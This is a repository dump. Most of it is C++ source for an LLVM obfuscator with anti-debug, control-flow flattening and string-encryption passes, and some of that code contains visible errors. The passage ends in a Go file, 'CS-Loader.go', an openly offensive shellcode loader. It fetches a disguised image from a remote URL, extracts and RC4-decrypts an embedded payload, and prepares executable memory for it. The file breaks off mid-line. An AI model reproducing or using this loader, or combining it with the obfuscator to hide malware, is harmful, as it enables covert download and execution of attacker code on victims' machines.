hashValue ^= reinterpret_cast(val); 9 | } 10 | 11 | return hashValue; 12 | } 13 | 14 | void Generic_obfuscator::TaintAnalysis::traversePath(BasicBlock* BB, std::set& gv_set, std::set& needEncGV) 15 | { 16 | if (!BB || visitedBlocks.count(BB)) { 17 | return; 18 | } 19 | if (bb_2_gv_set_hash[BB].count(hashSet(gv_set))) { 20 | return; 21 | } 22 | bb_2_gv_set_hash[BB].insert(hashSet(gv_set)); 23 | visitedBlocks.insert(BB); 24 | currentPath.push_back(BB); 25 | for (auto& I : *BB) { 26 | std::set opValSet; 27 | if (auto* op = dyn_cast(&I)) { 28 | for (unsigned i = 0; i < op->getNumOperands(); ++i) { 29 | auto* operand = op->getOperand(i); 30 | if (operand) 31 | opValSet.insert(operand); 32 | } 33 | } 34 | for (auto* opVal : opValSet) { 35 | if (auto* GV = dyn_cast(opVal)) { 36 | if (needEncGV.find(GV) != needEncGV.end() && gv_set.find(GV) != gv_set.end()) { 37 | unnecessarySet.insert(&I); 38 | } else { 39 | gv_set.insert(GV); 40 | gv_set_each_path.insert(GV); 41 | } 42 | } 43 | } 44 | } 45 | for (auto* Succ : successors(BB)) { 46 | traversePath(Succ, gv_set,needEncGV); 47 | } 48 | 49 | for (auto Val : gv_set_each_path) { 50 | gv_set.erase(Val); 51 | } 52 | gv_set_each_path.clear(); 53 | currentPath.pop_back(); 54 | } 55 | void Generic_obfuscator::TaintAnalysis::analyzeFunctionFlowSensitive(Function& F, std::set& needEncGV) 56 | { 57 | gv_set.clear(); 58 | gv_set_each_path.clear(); 59 | unnecessarySet.clear(); 60 | if (F.empty()) 61 | return; 62 | Module* M = F.getParent(); 63 | if (!M) 64 | return; 65 | 66 | BasicBlock* entryBB = &F.getEntryBlock(); 67 | if (!entryBB) 68 | return; 69 | 70 | traversePath(entryBB, gv_set,needEncGV); 71 | } 72 | 73 | const std::set& Generic_obfuscator::TaintAnalysis::getUnnecessarySet() const 74 | { 75 | return unnecessarySet; 76 | } 77 | 78 | void Generic_obfuscator::TaintAnalysis::printUnnecessarySet() const 79 | { 80 | for (auto* I : unnecessarySet) { 81 | errs() << "Accessed Instruction: " << *I << "\n"; 82 | } 83 | } 84 | 85 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/utils/config.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "json.hpp" 8 | #include "config.h" 9 | #include "Log.hpp" 10 | 11 | FunctionSettings loopen; 12 | FunctionSettings forObs; 13 | FunctionSettings splitBasicBlocks; 14 | FunctionSettings branch2call; 15 | FunctionSettings branch2call_32; 16 | FunctionSettings junkCode; 17 | FunctionSettings antiHook; 18 | FunctionSettings antiDebug; 19 | FunctionSettings indirectBranch; 20 | FunctionSettings indirectCall; 21 | FunctionSettings bogusControlFlow; 22 | FunctionSettings substitution; 23 | FunctionSettings flatten; 24 | FunctionSettings gvEncrypt; 25 | Arch targetArch; 26 | std::string target; 27 | int isConfigured = false; 28 | int x[2048] = {0}; 29 | using json = json; 30 | 31 | std::string archToString(Arch arch) { 32 | switch (arch) { 33 | case Arch::UNKNOWN: return "UNKNOWN"; 34 | case Arch::X86: return "X86"; 35 | case Arch::X86_64: return "X86_64"; 36 | case Arch::ARM32: return "ARM32"; 37 | case Arch::ARM64: return "ARM64"; 38 | case Arch::MIPS: return "MIPS"; 39 | case Arch::POWERPC: return "POWERPC"; 40 | case Arch::RISCV: return "RISCV"; 41 | default: return "INVALID"; 42 | } 43 | } 44 | 45 | Arch parseArch(const std::string& target) { 46 | // 将输入字符串转为小写以进行不区分大小写比较 47 | std::string lower_target = target; 48 | std::transform(lower_target.begin(), lower_target.end(), lower_target.begin(), ::tolower); 49 | if (lower_target == "x86") { 50 | return Arch::X86; 51 | } else if (lower_target == "x86_64") { 52 | return Arch::X86_64; 53 | } else if (lower_target == "arm32") { 54 | return Arch::ARM32; 55 | } else if (lower_target == "arm64") { 56 | return Arch::ARM64; 57 | } else if (lower_target == "mips") { 58 | return Arch::MIPS; 59 | } else if (lower_target == "powerpc") { 60 | return Arch::POWERPC; 61 | } else if (lower_target == "riscv") { 62 | return Arch::RISCV; 63 | } else { 64 | return Arch::UNKNOWN; // 返回 UNKNOWN 65 | } 66 | } 67 | 68 | // 解析 JSON 并赋值 69 | int parseConfig(const std::string& filename) { 70 | PrintInfo("start to parse config file: ",filename); 71 | std::ifstream configFile(filename); 72 | if (!configFile.is_open()) { 73 | return 0; 74 | } 75 | json config; 76 | configFile >> config; 77 | targetArch = parseArch(config["target"]); 78 | auto parseFunctionSettings = [](const json& j, FunctionSettings& settings) { 79 | settings.model = j["model"]; 80 | settings.enable_function = j["enable function"].get>(); 81 | settings.disable_function = j["disable function"].get>(); 82 | // splitBasicBlocks settings 83 | if (j.contains("split number")) { 84 | settings.op1 = j["split number"]; 85 | } 86 | // forObs settings 87 | if (j.contains("innerLoopBoundary")) { 88 | settings.op1 = j["innerLoopBoundary"]; 89 | } 90 | if (j.contains("outerLoopBoundary")) { 91 | settings.op2 = j["outerLoopBoundary"]; 92 | } 93 | // Loopen settings 94 | if (j.contains("loopen_x_list")) 95 | { 96 | std::vector tmp = j["loopen_x_list"].get>(); 97 | for (size_t i = 0; i < std::min(tmp.size(), size_t(2048)); ++i) { 98 | x[i] = tmp[i]; 99 | } 100 | } 101 | if (j.contains("module_name")) 102 | { 103 | std::string tmp = j["module_name"].get(); 104 | settings.module_name = tmp; 105 | } 106 | // Loopen settings end 107 | }; 108 | 109 | parseFunctionSettings(config["loopen"], loopen); 110 | // std::cout << "Parse config: " << "loopen" << "\n"; 111 | parseFunctionSettings(config["forObs"], forObs); 112 | // std::cout << "Parse config: " << "forObs" << "\n"; 113 | parseFunctionSettings(config["splitBasicBlocks"], splitBasicBlocks); 114 | // std::cout << "Parse config: " << "splitBasicBlocks" << "\n"; 115 | parseFunctionSettings(config["branch2call"], branch2call); 116 | // std::cout << "Parse config: " << "branch2call" << "\n"; 117 | parseFunctionSettings(config["branch2call_32"], branch2call_32); 118 | // std::cout << "Parse config: " << "branch2call_32" << "\n"; 119 | parseFunctionSettings(config["junkCode"], junkCode); 120 | // std::cout << "Parse config: " << "junkCode" << "\n"; 121 | // std::cout << "Parse config: " << "antiHook" << "\n"; 122 | // parseFunctionSettings(config["antiHook"], antiHook); 123 | parseFunctionSettings(config["antiDebug"], antiDebug); 124 | // std::cout << "Parse config: " << "antiDebug" << "\n"; 125 | parseFunctionSettings(config["indirectBranch"], indirectBranch); 126 | // std::cout << "Parse config: " << "indirectBranch" << "\n"; 127 | parseFunctionSettings(config["indirectCall"], indirectCall); 128 | // std::cout << "Parse config: " << "indirectCall" << "\n"; 129 | parseFunctionSettings(config["bogusControlFlow"], bogusControlFlow); 130 | // std::cout << "Parse config: " << "bogusControlFlow" << "\n"; 131 | parseFunctionSettings(config["substitution"], substitution); 132 | // std::cout << "Parse config: " << "substitution" << "\n"; 133 | parseFunctionSettings(config["flatten"], flatten); 134 | // std::cout << "Parse config: " << "flatten" << "\n"; 135 | parseFunctionSettings(config["gvEncrypt"], gvEncrypt); 136 | // std::cout << "Parse config: " << "gvEncrypt" << "\n"; 137 | return 1; 138 | } 139 | 140 | void readConfig(const std::string& fileName) { 141 | if (!isConfigured) { 142 | if (parseConfig(fileName)){ 143 | PrintSuccess("Parse Config in ",fileName); 144 | isConfigured = true; 145 | }else { 146 | std::filesystem::path currentDir = std::filesystem::current_path(); 147 | std::filesystem::path filePath = currentDir / "Generic_obfuscator.config"; 148 | if(parseConfig(filePath.string())){ 149 | PrintSuccess("Parse Config in ",filePath.string()); 150 | PrintZZZCCC(); 151 | isConfigured = true; 152 | } 153 | else{ 154 | PrintError("Fail to read the config file in ",fileName); 155 | exit(0); 156 | } 157 | } 158 | } 159 | } 160 | 161 | bool shouldSkip(const llvm::Function& F,const FunctionSettings& setting) 162 | { 163 | std::string functionName = F.getName().str(); 164 | if (F.size() == 1) { 165 | return 1; 166 | } 167 | if (functionName.find("Generic_obfuscator") != std::string::npos || functionName.find("generic_obfuscator") != std::string::npos) { 168 | return true; 169 | } 170 | if (F.empty() || F.hasLinkOnceLinkage() || F.getSection() == ".text.startup" || !F.hasExactDefinition()) { 171 | return 1; 172 | } 173 | 174 | if (setting.model == 2) { 175 | if (std::find(setting.enable_function.begin(), 176 | setting.enable_function.end(), 177 | functionName) 178 | == setting.enable_function.end()) { 179 | return 1; 180 | } 181 | } else if (setting.model == 3) { 182 | if (std::find(setting.disable_function.begin(), 183 | setting.disable_function.end(), 184 | functionName) 185 | != setting.disable_function.end()) { 186 | return 1; 187 | } 188 | } 189 | return 0; 190 | } 191 | 192 | 193 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/utils/jitter.cpp: -------------------------------------------------------------------------------- 1 | #include "jitter.hpp" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include "./json_utils.hpp" 33 | #include "o-mvll_utils.hpp" 34 | #include 35 | // #include 36 | // #include 37 | using namespace llvm; 38 | using namespace llvm::orc; 39 | using namespace omvll; 40 | ExitOnError ExitOnErr; 41 | 42 | namespace Generic_obfuscator 43 | { 44 | // 构造函数 45 | Jitter::Jitter(const std::string &Triple) 46 | : Triple_{Triple}, Ctx_{new LLVMContext{}} 47 | { 48 | InitializeNativeTarget(); 49 | InitializeNativeTargetAsmParser(); 50 | InitializeNativeTargetAsmPrinter(); 51 | } 52 | 53 | ThreadSafeModule createModuleWithInlineAsm(const std::string &Asm, const std::string &FName) 54 | { 55 | auto Context = std::make_unique(); 56 | auto M = std::make_unique("__Generic_obfuscator_asm_jit", *Context); 57 | 58 | // Create the function 59 | Function *F = Function::Create( 60 | llvm::FunctionType::get(llvm::Type::getVoidTy(*Context), {}, false), 61 | Function::ExternalLinkage, 62 | FName, 63 | M.get()); 64 | 65 | // Create the entry basic block 66 | llvm::BasicBlock *BB = llvm::BasicBlock::Create(*Context, "EntryBlock", F); 67 | IRBuilder<> builder(BB); 68 | 69 | // Define the function type for inline assembly 70 | auto *FType = llvm::FunctionType::get(builder.getVoidTy(), false); 71 | 72 | // Create the inline assembly 73 | InlineAsm *rawAsm = InlineAsm::get(FType, Asm, "", 74 | /* hasSideEffects */ true, 75 | /* isStackAligned */ true); 76 | 77 | // Create a call to the inline assembly and a return statement 78 | builder.CreateCall(FType, rawAsm); 79 | builder.CreateRetVoid(); 80 | 81 | // Create and return the ThreadSafeModule 82 | return ThreadSafeModule(std::move(M), std::move(Context)); 83 | } 84 | 85 | std::unique_ptr Jitter::jitAsm(const std::string &Asm, size_t Size) 86 | { 87 | static constexpr const char FNAME[] = "__Generic_obfuscator_asm_func"; 88 | auto M = createModuleWithInlineAsm(Asm, FNAME); 89 | ExitOnErr.setBanner("Generic_obfuscator_jitasm: "); 90 | auto J = ExitOnErr(LLJITBuilder().create()); 91 | ExitOnErr(J->addIRModule(std::move(M))); 92 | auto Func = J->lookup(FNAME); 93 | size_t FunSize = Size * /* Sizeof AArch64 inst=*/4; 94 | uint64_t Addr = Func->getValue(); 95 | auto *ptr = reinterpret_cast(Addr); 96 | return MemoryBuffer::getMemBufferCopy({ptr, FunSize}); 97 | } 98 | void compilerCToIR(const Triple &TargetTriple, llvm::Module *TM, llvm::Module *HM, LLVMContext &Ctx, const std::string &CCode) 99 | { 100 | // 包装输入的 C 代码 101 | std::string WrappedCode = (Twine("extern \"C\" {\n") + CCode + "\n}\n").str(); 102 | 103 | // 使用 ExitOnError 处理错误 104 | ExitOnError ExitOnErr("Failed to compile C code: "); 105 | 106 | // 为目标平台生成模块,并应用注解和优化 107 | { 108 | // 禁用丢弃值名称以便调试 109 | Ctx.setDiscardValueNames(false); 110 | 111 | // 生成目标平台的模块 112 | TM = ExitOnErr( 113 | generateModule(WrappedCode, TargetTriple, "cpp", Ctx, 114 | {"-target", TargetTriple.getTriple(), "-std=c++17", 115 | "-mllvm", "--opaque-pointers"})); 116 | } 117 | } 118 | 119 | } 120 | 121 | // int main(int argc, char *argv[]) 122 | // { 123 | // // Initialize LLVM components 124 | // LLVMInitializeNativeTarget(); 125 | // // Load the LLVM IR file 126 | // LLVMContext Context; 127 | // SMDiagnostic Error; 128 | // std::unique_ptr M = parseIRFile("/home/zzzccc/cxzz/Generic_obfuscator/test/test1.ll", Error, Context); 129 | // // Create a Jitter instance using the current platform's triple 130 | // std::string TargetTriple = M->getTargetTriple(); 131 | // if (TargetTriple.empty()) { 132 | // TargetTriple = llvm::sys::getDefaultTargetTriple(); 133 | // } 134 | // outs() << TargetTriple; 135 | // Generic_obfuscator::Jitter jitter(TargetTriple); 136 | 137 | // if (!M) 138 | // { 139 | // Error.print(argv[0], errs()); 140 | // return 1; 141 | // } 142 | // // Function name in the LLVM IR file where you want to inject the assembly code 143 | // std::string functionName = "main"; 144 | 145 | // // Assembly code to JIT compile and inject into the function's preamble 146 | // std::string asmCode = "movq 60, %rax; xor %rdi, %rdi; syscall"; 147 | // // Compile the assembly code and get a buffer containing the compiled machine code 148 | // size_t codeSize = 3; // Adjust based on the number of assembly instructions and platform 149 | // auto insts = jitter.jitAsm(asmCode, codeSize); 150 | // llvm::Function *F = M->getFunction(functionName); 151 | // if (!F) 152 | // { 153 | // errs() << "Function not found: " << functionName << "\n"; 154 | // return 1; 155 | // } 156 | // auto *Int8Ty = Type::getInt8Ty(F->getContext()); 157 | // auto *Prologue = llvm::ConstantDataVector::get(Context, llvm::ArrayRef((const uint8_t *)insts->getBuffer().bytes_begin(), insts->getBuffer().size())); 158 | // F->setPrologueData(Prologue); 159 | // llvm::outs() << "Modified LLVM IR:\n"; 160 | // M->print(llvm::outs(), nullptr); 161 | // return 0; 162 | // } 163 | 164 | // 使用示例 165 | int main(int argc, char *argv[]) 166 | { 167 | LLVMInitializeNativeTarget(); 168 | LLVMContext Context; 169 | 170 | // 创建Jitter实例 171 | Generic_obfuscator::Jitter jitter(llvm::sys::getDefaultTargetTriple()); 172 | 173 | // C语言代码字符串 174 | std::string CCode = R"( 175 | int add(int a, int b) { 176 | return a + b; 177 | } 178 | )"; 179 | std::vector QuadraticFunVec = JsonUtils::getForPassFunc("/home/zzzccc/cxzz/Generic_obfuscator/config/quadratic_equations.json"); 180 | llvm::Module TM = nullptr; 181 | llvm::Module HM = nullptr; 182 | // 将C代码编译为LLVM IR 183 | jitter.compileCToIR(llvm::sys::getDefaultTargetTriple(), TM, HM, Context, QuadraticFunVec[0].cFunc); 184 | 185 | if (TM) 186 | { 187 | // 打印生成的IR 188 | TM->print(llvm::outs(), nullptr); 189 | } 190 | 191 | return 0; 192 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/utils/jitter.hpp: -------------------------------------------------------------------------------- 1 | #ifndef OMVLL_JITTER_H 2 | #define OMVLL_JITTER_H 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace llvm { 11 | class LLVMContext; 12 | class Module; 13 | class MemoryBuffer; 14 | namespace orc { 15 | class LLJIT; 16 | } 17 | 18 | namespace object { 19 | class ObjectFile; 20 | } 21 | } 22 | 23 | namespace Generic_obfuscator { 24 | class Jitter { 25 | public: 26 | Jitter(const std::string &Triple); 27 | 28 | std::unique_ptr compile(llvm::Module& M); 29 | 30 | std::unique_ptr jitAsm(const std::string& Asm, size_t Size); 31 | 32 | std::unique_ptr compileCToIR(const std::string &CCode); 33 | private: 34 | std::string Triple_; 35 | std::unique_ptr Ctx_; 36 | }; 37 | } 38 | #endif 39 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/utils/utils.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.hpp" 2 | #include "llvm/IR/BasicBlock.h" 3 | 4 | 5 | using namespace llvm; 6 | using std::vector; 7 | 8 | static bool valueEscapes(const Instruction& Inst) 9 | { 10 | const BasicBlock* BB = Inst.getParent(); 11 | for (const User* U : Inst.users()) { 12 | const Instruction* UI = cast(U); 13 | if (UI->getParent() != BB || isa(UI)) 14 | return true; 15 | } 16 | return false; 17 | } 18 | 19 | Function* createFuncFromGenerated(Module* M, std::string funcName, std::string moduleName) 20 | { 21 | // 创建一个新的LLVM上下文 22 | LLVMContext& Context = M->getContext(); 23 | 24 | // 读取模块文件并加载它 25 | SMDiagnostic Err; 26 | // llvm::outs() << "[utils]: start createFuncFromGenerated " << moduleName << " " << funcName << "\n"; 27 | Context.setDiscardValueNames(false); 28 | std::unique_ptr SrcModule = parseIRFile(moduleName, Err, Context); 29 | 30 | // 错误处理,检查模块是否正确加载 31 | if (!SrcModule) { 32 | Err.print("createFuncFromGenerated", errs()); 33 | return nullptr; 34 | } 35 | // SrcModule->print(llvm::outs(),nullptr); 36 | // 在加载的模块中查找指定的函数 37 | Function* SrcFunc = SrcModule->getFunction(funcName); 38 | if (!SrcFunc) { 39 | errs() << "Function " << funcName << " not found in " << moduleName << "\n"; 40 | return nullptr; 41 | } 42 | 43 | auto* NewF = Function::Create(SrcFunc->getFunctionType(), GlobalValue::PrivateLinkage, 44 | funcName, M); 45 | 46 | ValueToValueMapTy VMap; 47 | auto NewFArgsIt = NewF->arg_begin(); 48 | auto FArgsIt = SrcFunc->arg_begin(); 49 | 50 | // 将参数映射到新函数 51 | for (auto FArgsEnd = SrcFunc->arg_end(); FArgsIt != FArgsEnd; 52 | ++NewFArgsIt, ++FArgsIt) { 53 | VMap[&*FArgsIt] = &*NewFArgsIt; 54 | } 55 | 56 | SmallVector Returns; 57 | CloneFunctionInto(NewF, SrcFunc, VMap, CloneFunctionChangeType::DifferentModule, Returns); 58 | 59 | // 保留函数属性 60 | NewF->setCallingConv(SrcFunc->getCallingConv()); 61 | NewF->setAttributes(SrcFunc->getAttributes()); 62 | NewF->setDSOLocal(true); 63 | // llvm::outs() << "[utils]: Function " << funcName << " successfully cloned into the target module.\n"; 64 | 65 | return NewF; 66 | } 67 | 68 | Function* createFuncFromString(Module* M, std::string funcName, std::string irString) 69 | { 70 | LLVMContext& Context = M->getContext(); 71 | 72 | // 创建MemoryBuffer从字符串输入 73 | std::unique_ptr buffer = MemoryBuffer::getMemBuffer(irString, "IRFromString"); 74 | 75 | // 创建一个 SMDiagnostic 来处理错误 76 | SMDiagnostic Err; 77 | 78 | // 解析 IR 到模块 79 | std::unique_ptr SrcModule = parseIR(buffer->getMemBufferRef(), Err, Context); 80 | 81 | // 错误处理,检查模块是否正确加载 82 | if (!SrcModule) { 83 | Err.print("createFuncFromString", errs()); 84 | return nullptr; 85 | } 86 | 87 | // 在加载的模块中查找指定的函数 88 | Function* SrcFunc = SrcModule->getFunction(funcName); 89 | if (!SrcFunc) { 90 | errs() << "Function " << funcName << " not found in the input string.\n"; 91 | return nullptr; 92 | } 93 | 94 | // 创建新的函数 95 | auto* NewF = Function::Create(SrcFunc->getFunctionType(), GlobalValue::PrivateLinkage, 96 | funcName, M); 97 | 98 | // 参数映射 99 | ValueToValueMapTy VMap; 100 | auto NewFArgsIt = NewF->arg_begin(); 101 | auto FArgsIt = SrcFunc->arg_begin(); 102 | 103 | // 将参数映射到新函数 104 | for (auto FArgsEnd = SrcFunc->arg_end(); FArgsIt != FArgsEnd; ++NewFArgsIt, ++FArgsIt) { 105 | VMap[&*FArgsIt] = &*NewFArgsIt; 106 | } 107 | 108 | // 克隆函数内容 109 | SmallVector Returns; 110 | CloneFunctionInto(NewF, SrcFunc, VMap, CloneFunctionChangeType::DifferentModule, Returns); 111 | 112 | // 保留函数属性 113 | NewF->setCallingConv(SrcFunc->getCallingConv()); 114 | NewF->setAttributes(SrcFunc->getAttributes()); 115 | NewF->setDSOLocal(true); 116 | 117 | // llvm::outs() << "[utils]: Function " << funcName << " successfully cloned into the target module.\n"; 118 | return NewF; 119 | } 120 | 121 | uint64_t getRandomNumber() 122 | { 123 | return (((uint64_t)rand()) << 32) | ((uint64_t)rand()); 124 | } 125 | 126 | void demoteRegisters(Function* f) 127 | { 128 | std::vector tmpPhi; 129 | std::vector tmpReg; 130 | BasicBlock* bbEntry = &*f->begin(); 131 | for (Function::iterator i = f->begin(); i != f->end(); i++) { 132 | for (BasicBlock::iterator j = i->begin(); j != i->end(); j++) { 133 | if (isa(j)) { 134 | PHINode* phi = cast(j); 135 | tmpPhi.push_back(phi); 136 | continue; 137 | } 138 | if (!(isa(j) && j->getParent() == bbEntry) && j->isUsedOutsideOfBlock(&*i)) { 139 | tmpReg.push_back(&*j); 140 | continue; 141 | } 142 | } 143 | } 144 | for (unsigned int i = 0; i < tmpReg.size(); i++) 145 | DemoteRegToStack(*tmpReg.at(i), f->begin()->getTerminator()); 146 | for (unsigned int i = 0; i < tmpPhi.size(); i++) 147 | DemotePHIToStack(tmpPhi.at(i), f->begin()->getTerminator()); 148 | } 149 | 150 | BasicBlock* cloneBasicBlock(BasicBlock* BB) 151 | { 152 | ValueToValueMapTy VMap; 153 | // 在克隆基本块时,如果不进行映射,克隆出来的指令会使用原始基本块中的操作数 而Vmap 中存储了Value的对应映射关系 只需要换过来即可 154 | BasicBlock* cloneBB = CloneBasicBlock(BB, VMap, "cloneBB", BB->getParent()); 155 | BasicBlock::iterator origI = BB->begin(); 156 | for (Instruction& I : *cloneBB) { 157 | for (int i = 0; i < I.getNumOperands(); i++) { 158 | Value* V = MapValue(I.getOperand(i), VMap); 159 | if (V) { 160 | I.setOperand(i, V); 161 | } 162 | } 163 | SmallVector, 4> MDs; 164 | I.getAllMetadata(MDs); 165 | for (std::pair pair : MDs) { 166 | MDNode* MD = MapMetadata(pair.second, VMap); 167 | if (MD) { 168 | I.setMetadata(pair.first, MD); 169 | } 170 | } 171 | I.setDebugLoc(origI->getDebugLoc()); 172 | origI++; 173 | } 174 | return cloneBB; 175 | } 176 | 177 | std::string getInstructionAsString(llvm::Instruction* I) 178 | { 179 | std::string output; 180 | llvm::raw_string_ostream stream(output); 181 | I->print(stream); // 将指令输出到 stream 中 182 | return output; // 返回捕获的字符串 183 | } 184 | 185 | // generate a random vector with elements not repeated 186 | std::vector generateUniqueRandomNumbers(int min, int max, int size) { 187 | std::unordered_set uniqueNumbers; 188 | std::random_device rd; 189 | std::mt19937 gen(rd()); 190 | std::uniform_int_distribution dist(min, max); 191 | 192 | while (uniqueNumbers.size() < size) { 193 | uniqueNumbers.insert(dist(gen)); 194 | } 195 | 196 | return std::vector(uniqueNumbers.begin(), uniqueNumbers.end()); 197 | } 198 | 199 | void fixStack(Function &F) { 200 | // Insert all new allocas into entry block. 201 | BasicBlock *BBEntry = &F.getEntryBlock(); 202 | assert(pred_empty(BBEntry) && 203 | "Entry block to function must not have predecessors!"); 204 | 205 | // Find first non-alloca instruction and create insertion point. This is 206 | // safe if block is well-formed: it always have terminator, otherwise 207 | // we'll get and assertion. 208 | BasicBlock::iterator I = BBEntry->begin(); 209 | while (isa(I)) 210 | ++I; 211 | 212 | CastInst *AllocaInsertionPoint = new BitCastInst( 213 | Constant::getNullValue(Type::getInt32Ty(F.getContext())), 214 | Type::getInt32Ty(F.getContext()), "fix_stack_point", &*I); 215 | 216 | // Find the escaped instructions. But don't create stack slots for 217 | // allocas in entry block. 218 | std::list WorkList; 219 | for (BasicBlock &BB : F) 220 | for (Instruction &I : BB) 221 | if (!(isa(I) && I.getParent() == BBEntry) && valueEscapes(I)) 222 | WorkList.push_front(&I); 223 | 224 | // Demote escaped instructions 225 | //NumRegsDemoted += WorkList.size(); 226 | for (Instruction *I : WorkList) 227 | DemoteRegToStack(*I, false, AllocaInsertionPoint); 228 | 229 | WorkList.clear(); 230 | 231 | // Find all phi's 232 | for (BasicBlock &BB : F) 233 | for (auto &Phi : BB.phis()) 234 | WorkList.push_front(&Phi); 235 | 236 | // Demote phi nodes 237 | //NumPhisDemoted += WorkList.size(); 238 | for (Instruction *I : WorkList) 239 | DemotePHIToStack(cast(I), AllocaInsertionPoint); 240 | } 241 | 242 | 243 | bool containsPHI(BasicBlock *BB) { 244 | for (Instruction &I : *BB) { 245 | if (isa(&I)) { 246 | return true; 247 | } 248 | } 249 | return false; 250 | } 251 | 252 | #include 253 | #include 254 | #include 255 | #include 256 | #include 257 | /// @brief 将一个基本块随机拆分为指定数量的块。 258 | /// 259 | /// @param BB 要拆分的基本块。 260 | /// @param numBlocks 要拆分成的块的数量(必须大于 1)。 261 | /// 262 | /// @return 一个包含新创建的基本块的向量(包括原始基本块)。 263 | /// 向量中的基本块按照它们在控制流中的顺序排列。 264 | std::vector splitBasicBlockRandomly(BasicBlock *BB, int numBlocks) { 265 | if (numBlocks < 3){ 266 | return {BB}; 267 | } 268 | // 参数验证 269 | if (!BB || BB->size() < 2 || containsPHI(BB)) { 270 | // llvm::errs() << "Cannot split basic block: " << BB->getName() << "\n"; 271 | return {}; 272 | } 273 | 274 | int splitCount = numBlocks - 1; 275 | if (splitCount <= 0) { 276 | // llvm::outs() << "No split needed for basic block: " << BB->getName() << "\n"; 277 | return {BB}; 278 | } 279 | 280 | int maxPossibleSplits = BB->size() - 1; 281 | splitCount = std::min(splitCount, maxPossibleSplits); 282 | if (splitCount == 0) { 283 | // llvm::outs() << "Split count adjusted to 0 for basic block: " << BB->getName() << "\n"; 284 | return {BB}; 285 | } 286 | 287 | // 生成唯一的分割点 288 | std::set splitPoints; 289 | std::random_device rd; 290 | std::mt19937 gen(rd()); 291 | std::uniform_int_distribution<> distrib(0, maxPossibleSplits); 292 | 293 | while (splitPoints.size() < splitCount) { 294 | int pt = distrib(gen); 295 | splitPoints.insert(pt); 296 | } 297 | 298 | std::vector sortedSplitPoints(splitPoints.begin(), splitPoints.end()); 299 | std::sort(sortedSplitPoints.begin(), sortedSplitPoints.end()); 300 | 301 | // llvm::outs() << "Splitting basic block: " << BB->getName() 302 | // << " into " << numBlocks << " blocks at points: "; 303 | // for (int pt : sortedSplitPoints) { 304 | // llvm::outs() << pt << " "; 305 | // } 306 | // llvm::outs() << "\n"; 307 | 308 | std::vector result; 309 | result.push_back(BB); // 初始包含原块 310 | 311 | BasicBlock *currentBB = BB; 312 | int currentStartOffset = 0; 313 | 314 | for (int pt : sortedSplitPoints) { 315 | // 验证分割点有效性 316 | if (pt < currentStartOffset || pt >= currentStartOffset + currentBB->size()) { 317 | // llvm::errs() << "Invalid split point " << pt << " in block " << BB->getName() << "\n"; 318 | return {}; 319 | } 320 | 321 | int relativePt = pt - currentStartOffset; 322 | BasicBlock::iterator it = currentBB->begin(); 323 | std::advance(it, relativePt); 324 | 325 | // 执行分割并收集新块 326 | BasicBlock *newBB = currentBB->splitBasicBlock(it, currentBB->getName() + ".split"); 327 | result.push_back(newBB); 328 | currentBB = newBB; 329 | currentStartOffset = pt + 1; 330 | } 331 | 332 | return result; 333 | } 334 | 335 | #include 336 | #include 337 | #include 338 | void PrintZZZCCC(){ 339 | std::cout << "\033[36m"; 340 | std::cout << " ________ ________ ________ ________ ________ ________ " << std::endl; 341 | std::cout << "|\\_____ \\|\\_____ \\|\\_____ \\|\\ ____\\|\\ ____\\|\\ ____\\ " << std::endl; 342 | std::cout << " \\|___/ /|\\|___/ /|\\|___/ /\\ \\ \\___|\\ \\ \\___|\\ \\ \\___| " << std::endl; 343 | std::cout << " / / / / / / / / /\\ \\ \\ \\ \\ \\ \\ \\ \\ " << std::endl; 344 | std::cout << " / /_/__ / /_/__ / /_/__\\ \\ \\____\\ \\ \\____\\ \\ \\____ " << std::endl; 345 | std::cout << " |\\________\\\\________\\\\________\\ \\_______\\ \\_______\\ \\_______\\" << std::endl; 346 | std::cout << " \\|_______|\\|_______|\\|_______|\\|_______|\\|_______|\\|_______|" << std::endl; 347 | std::cout << "\033[0m"; 348 | } 349 | -------------------------------------------------------------------------------- /Go_version/CS-Loader.go: -------------------------------------------------------------------------------- 1 | //Author: Gality 2 | //Name:CS-Loader.go 3 | //Usage: 4 | //require: None 5 | //Description: load shellcode from img 6 | //E-mail: gality365@gmail.com 7 | // fix by yumusb 8 | package main 9 | 10 | import ( 11 | "io/ioutil" 12 | "net/http" 13 | "os" 14 | b64 "encoding/base64" 15 | "crypto/rc4" 16 | "syscall" 17 | "unsafe" 18 | "crypto/md5" 19 | "encoding/hex" 20 | "bytes" 21 | //"fmt" 22 | ) 23 | 24 | const ( 25 | MEM_COMMIT = 0x1000 26 | MEM_RESERVE = 0x2000 27 | PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。 28 | KEY_1 = 55 29 | KEY_2 = 66 30 | ) 31 | 32 | var ( 33 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 34 | ntdll = syscall.MustLoadDLL("ntdll.dll") 35 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 36 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 37 | ) 38 | func md5V(str string) string { 39 | h := md5.New() 40 | h.Write([]byte(str)) 41 | return hex.EncodeToString(h.Sum(nil)) 42 | } 43 | func main() { 44 | imageURL := "...your img url..." 45 | rc4KeyPlain := "...your RC4 key..." 46 | 47 | rc4Key := []byte(md5V(rc4KeyPlain)) 48 | resp, err := http.Get(imageURL) 49 | if err != nil { 50 | os.Exit(1) 51 | } 52 | b, err := ioutil.ReadAll(resp.Body) 53 | resp.Body.Close() 54 | if err != nil { 55 | os.Exit(1) 56 | } 57 | //直接以ffd9做split,得到shellcode 58 | c := bytes.Split(b,[]byte{255,217}) 59 | if len(c) != 2 { 60 | os.Exit(1) 61 | //"error load img" 62 | } 63 | raw := string(c[1]) 64 | //fmt.Print(raw) 65 | sDec, _ := 